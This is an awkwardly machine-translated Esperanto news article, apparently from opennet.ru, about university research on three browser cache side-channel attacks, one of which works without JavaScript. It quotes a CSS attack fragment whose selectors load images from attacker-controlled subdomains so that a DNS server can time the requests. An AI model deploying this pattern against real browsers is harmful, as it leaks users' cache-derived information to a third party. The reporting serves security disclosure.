CPU-kaŝmemora eltira atako efektivigita en tTT-legilo sen JavaScript

Teamo de esploristoj de pluraj usonaj, israelaj kaj aŭstraliaj universitatoj disvolvis tri atakojn, kiuj funkcias sur retumiloj por ĉerpi informojn pri la enhavo de la procesora kaŝmemoro. Unu metodo funkcias en retumiloj sen JavaScript, kaj la aliaj du preterpasas ekzistantajn metodojn de protekto kontraŭ flankaj atakoj, inkluzive de tiuj uzataj en la retumilo Tor kaj DeterFox. La kodo por pruvi la atakojn, same kiel la servilkomponentoj necesaj por la atakoj, estas publikigitaj sur GitHub.

Por analizi la enhavon de la kaŝmemoro, ĉiuj atakoj uzas la metodon Prime+Probe, kiu implikas plenigi la kaŝmemoron per norma aro de valoroj kaj detekti ŝanĝojn mezurante la alirtempon al ili replenigante ilin. Por preteriri la sekurecajn mekanismojn ĉeestantajn en retumiloj, kiuj malhelpas precizan tempomezuradon, en du opcioj, apelacio estas farita al DNS aŭ WebSocket-servilo kontrolita de la atakanto, kiu konservas protokolon de la tempo de ricevitaj petoj. En unu formado, fiksa DNS-respondtempo estas utiligita kiel tempreferenco.

Mezuradoj faritaj per eksteraj DNS aŭ WebSocket-serviloj, uzante klasifiksistemon bazitan sur maŝinlernado, sufiĉis por antaŭdiri valorojn kun precizeco de ĝis 98% en la plej optimuma scenaro (averaĝe 80-90%). La atakmetodoj estis testitaj sur diversaj aparataj platformoj (Intel, AMD Ryzen, Apple M1, Samsung Exynos) kaj pruvis esti universalaj.

CPU-kaŝmemora eltira atako efektivigita en tTT-legilo sen JavaScript

La unua varianto de la DNS Racing-atako uzas klasikan efektivigon de la Prime+Probe-metodo uzante JavaScript-tabelojn. La diferencoj resumiĝas al la uzo de ekstera DNS-bazita tempigilo kaj erara prizorganto, kiu estas ekigita kiam provo estas farita por ŝarĝi bildon de neekzistanta domajno. Ekstera tempigilo permesas atakon de Prime+Probe kontraŭ retumiloj, kiuj limigas aŭ tute malŝaltas aliron al JavaScript-tempigiloj.

Por DNS-servilo situanta sur la sama Eterreto-reto, la precizeco de la tempigilo estas taksita proksimume 2 ms, kio sufiĉas por efektivigi flankkanalan atakon (por komparo, la precizeco de la norma JavaScript-tempigilo en Tor Browser estas reduktita al 100 ms). Por la atako, kontrolo super la DNS-servilo ne estas postulata, ĉar la ekzekuttempo de la operacio estas elektita tiel ke la respondtempo de la DNS servas kiel signo de pli frua kompletigo de la ĉeko (depende de ĉu la erara prizorganto estis ekigita. pli frue aŭ poste, konkludo estas desegnita pri la rapideco de la kontrolo-operacio kun la kaŝmemoro).

La dua atakmetodo, "String and Sock", celas preteriri sekurecajn teknikojn, kiuj limigas la malaltnivelan uzon de tabeloj en JavaScript. Anstataŭ tabeloj, String kaj Sock uzas operaciojn sur tre grandaj ŝnuroj, kies grandeco estas elektita tiel ke la variablo kovras la tutan LLC-kaŝmemoron (Last-nivela kaŝmemoro). Poste, uzante la funkcion indexOf(), oni serĉas malgrandan subĉenon en la ĉeno, kiu komence forestas en la fontoĉeno, t.e. la serĉa operacio rezultas en ripetado sur la tuta ĉeno. Ĉar la liniograndeco respondas al la grandeco de la LLC-kaŝmemoro, skanado permesas al vi plenumi kaŝmemorkontrolan operacion sen manipuli la tabelojn. Por mezuri prokrastojn, anstataŭ DNS, oni vokas al WebSocket-servilo kontrolita de la atakanto - antaŭ kaj post kiam la serĉa operacio estas finita, demandoj estas senditaj en la linio, surbaze de kiu la servilo kalkulas la prokraston uzatan por analizi la kaŝmemoron. enhavojn.

La tria varianto de la atako "CSS PP0" estas efektivigita per HTML kaj CSS, kaj povas funkcii en retumiloj kun JavaScript malŝaltita. La metodo estas simila al "Ŝnuro kaj Ŝtrumpeto", sed ne estas ligita al JavaScript. Dum la atako, aro de CSS-elektiloj estas generita, kiuj serĉas per masko. La komenca granda ĉeno, kiu plenigas la kaŝmemoron, estas agordita kreante div-etikedon kun tre granda klasnomo. Ene estas aro de aliaj div kun siaj propraj identigiloj. Ĉiu el ĉi tiuj nestitaj div-oj havas sian propran stilon kun elektilo, kiu serĉas subŝnuron. Dum prezentado de paĝo, la retumilo unue provas prilabori la internajn div-ojn, kio rezultigas serĉan operacion sur granda vico. La serĉo estas farita uzante intence mankantan maskon kaj kondukas al ripetado sur la tuta linio, post kiu la "ne" kondiĉo estas ekigita kaj provo ŝarĝi fonbildon referencantajn hazardajn domajnojn: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Subdomajnoj estas servataj de la DNS-servilo de la atakanto, kiu povas mezuri malfruojn en ricevado de petoj. La DNS-servilo eldonas NXDOMAIN por ĉiuj petoj kaj konservas protokolon de la ĝusta tempo de petoj. Kiel rezulto de prilaborado de aro da divs, la DNS-servilo de la atakanto ricevas serion da petoj, inter kiuj prokrastoj korelacias kun la rezulto de kontrolado de la kaŝmemoro enhavo.

CPU-kaŝmemora eltira atako efektivigita en tTT-legilo sen JavaScript


fonto: opennet.ru

Aldoni komenton